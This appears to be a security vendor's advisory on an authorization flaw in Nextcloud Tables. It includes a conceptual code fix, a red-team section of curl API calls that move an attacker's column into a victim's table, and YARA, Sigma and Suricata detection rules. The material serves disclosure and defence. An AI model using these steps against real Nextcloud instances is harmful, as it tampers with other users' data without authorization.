CVE-2025-66551

Executive Summary

CVE-2025-66551 is a missing authorization vulnerability in Nextcloud Tables, a collaborative table management application for the Nextcloud ecosystem. The flaw allows a malicious authenticated user to create their own table and then move a column to a victim's table without proper authorization checks. This unauthorized column manipulation can lead to data integrity breaches, as the attacker can inject or alter data within the victim's table structure. The vulnerability affects all versions prior to 0.8.6 and 0.9.3. The CVSS score of 6.3 (Medium) reflects the requirement for authentication but the potential for significant integrity impact. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time.

Supply Chain & Package Security

Nextcloud Tables is distributed as a Nextcloud app via the official Nextcloud App Store and is also available as a PHP package. Users should ensure they are updating from trusted sources (e.g., the official Nextcloud update channel or the Nextcloud GitHub releases). No malicious packages have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
• Base Score: 6.3 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must have a valid Nextcloud account.
• User Interaction (UI): None (N) – No victim interaction is needed.
• Scope (S): Unchanged (U) – The vulnerable component and the affected component are the same.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): High (H) – The attacker can modify table structures and potentially data.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While exploitation requires authentication, the low complexity and potential for data manipulation make this a significant concern for Nextcloud instances with untrusted users.

Deep Dive & Mechanics

The vulnerability resides in the column management functionality of Nextcloud Tables. The application fails to properly verify that the user initiating a "move column" operation has the necessary permissions on the target table. The intended authorization model should check that the user is either the owner of the target table or has been granted edit permissions. However, due to a missing or insufficient authorization check, a malicious user can:

1. Create a new table (which they own).
2. Add a column to their own table.
3. Invoke the API endpoint responsible for moving a column, specifying the victim's table ID as the target.
4. The server processes the request without verifying the user's ownership or edit rights on the victim's table.

This allows the attacker to inject a column into any table within the Nextcloud instance, potentially overwriting existing columns or adding new ones with arbitrary data. The root cause is a missing authorization check in the backend controller or service handling the column move operation.

Vulnerable vs. Patched Code

The following is a conceptual comparison based on the vulnerability description. Actual code may vary.

Vulnerable Code (Pre-0.8.6 / 0.9.3):

// In a controller or service class
public function moveColumn($columnId, $targetTableId) {
    // Missing authorization check for target table
    $column = $this->columnService->getColumn($columnId);
    $targetTable = $this->tableService->getTable($targetTableId);
    
    // Proceed with move
    $this->columnService->moveColumn($column, $targetTable);
}

Patched Code (0.8.6 / 0.9.3):

// In a controller or service class
public function moveColumn($columnId, $targetTableId) {
    $column = $this->columnService->getColumn($columnId);
    $targetTable = $this->tableService->getTable($targetTableId);
    
    // Added authorization check
    if (!$this->authorizationService->canEditTable($targetTable, $this->userId)) {
        throw new \OCP\AppFramework\Db\DoesNotExistException('Not allowed');
    }
    
    // Proceed with move
    $this->columnService->moveColumn($column, $targetTable);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Nextcloud instance with Nextcloud Tables installed (version < 0.8.6 or < 0.9.3).
• Two user accounts: one attacker (malicious) and one victim (target).
• The victim must have at least one table with columns.

Exploitation Steps:

1. Authenticate as the attacker and obtain a valid session token or API credentials.
2. Create a new table via the Nextcloud Tables API:

   curl -X POST https://nextcloud.example.com/apps/tables/api/1/tables \
     -H "Authorization: Bearer <attacker_token>" \
     -H "Content-Type: application/json" \
     -d '{"title": "AttackerTable"}'
   

3. Add a column to the attacker's table:

   curl -X POST https://nextcloud.example.com/apps/tables/api/1/tables/<attacker_table_id>/columns \
     -H "Authorization: Bearer <attacker_token>" \
     -H "Content-Type: application/json" \
     -d '{"title": "MaliciousColumn", "type": "text"}'
   

4. Move the column to the victim's table (replace <victim_table_id> with the victim's table ID):

   curl -X PUT https://nextcloud.example.com/apps/tables/api/1/columns/<column_id>/move \
     -H "Authorization: Bearer <attacker_token>" \
     -H "Content-Type: application/json" \
     -d '{"targetTableId": "<victim_table_id>"}'
   

5. Verify that the column now appears in the victim's table.

Blue Team (Defensive)

Detection:

• Monitor API logs for unusual PUT /apps/tables/api/1/columns/*/move requests where the source and target table IDs belong to different users.
• Alert on multiple failed authorization attempts (403 errors) followed by a successful move operation.
• Use the detection rules provided in the Detection Engineering section.

Hunting:

• Query database for tables where the owner field does not match the user who created the columns.
• Review audit logs for column move operations and correlate with user permissions.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /apps/tables/api/1/columns/*/move with a targetTableId parameter that does not belong to the requesting user.
• Logs:
  • Nextcloud audit log entries showing tables.column.move with mismatched user and table ownership.
  • Web server access logs with 200 responses to the move endpoint from unexpected users.
• System:
  • Tables in the Nextcloud database where columns have an owner different from the table owner.
  • Unauthorized columns appearing in user tables.

Detection Engineering

YARA Rule

rule Detect_CVE_2025_66551_Exploit {
    meta:
        description = "Detects exploitation attempts for CVE-2025-66551 in Nextcloud Tables"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66551"
    strings:
        $move_endpoint = "/apps/tables/api/1/columns/" ascii wide nocase
        $move_action = "/move" ascii wide nocase
        $target_table = "targetTableId" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Nextcloud Tables Unauthorized Column Move
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to move a column to a table owned by another user in Nextcloud Tables.
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: nextcloud
    service: audit
detection:
    selection:
        action: "tables.column.move"
    filter:
        - user_id: null
        - table_owner: null
    condition: selection and not filter
falsepositives:
    - Legitimate column moves by table owners or authorized users
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-66551 Nextcloud Tables Unauthorized Column Move";
    flow:to_server,established;
    content:"PUT";
    http_method;
    content:"/apps/tables/api/1/columns/";
    http_uri;
    content:"/move";
    http_uri;
    content:"targetTableId";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Update Nextcloud Tables to version 0.8.6 or 0.9.3 (or later) via the Nextcloud App Store or by running occ app:update tables.
2. If immediate update is not possible, disable the Nextcloud Tables app temporarily:

   sudo -u www-data php occ app:disable tables
   

Long-Term Mitigations:

• Implement strict access controls and review user permissions regularly.
• Enable Nextcloud audit logging and monitor for suspicious table operations.
• Apply the principle of least privilege; do not grant edit permissions to untrusted users.
• Keep all Nextcloud components updated to the latest versions.

Workarounds:

• If the app cannot be updated, restrict API access to the Tables endpoints using a reverse proxy or firewall rules for trusted IP ranges only.

Report generated by Valters IT DevSecOps Intelligence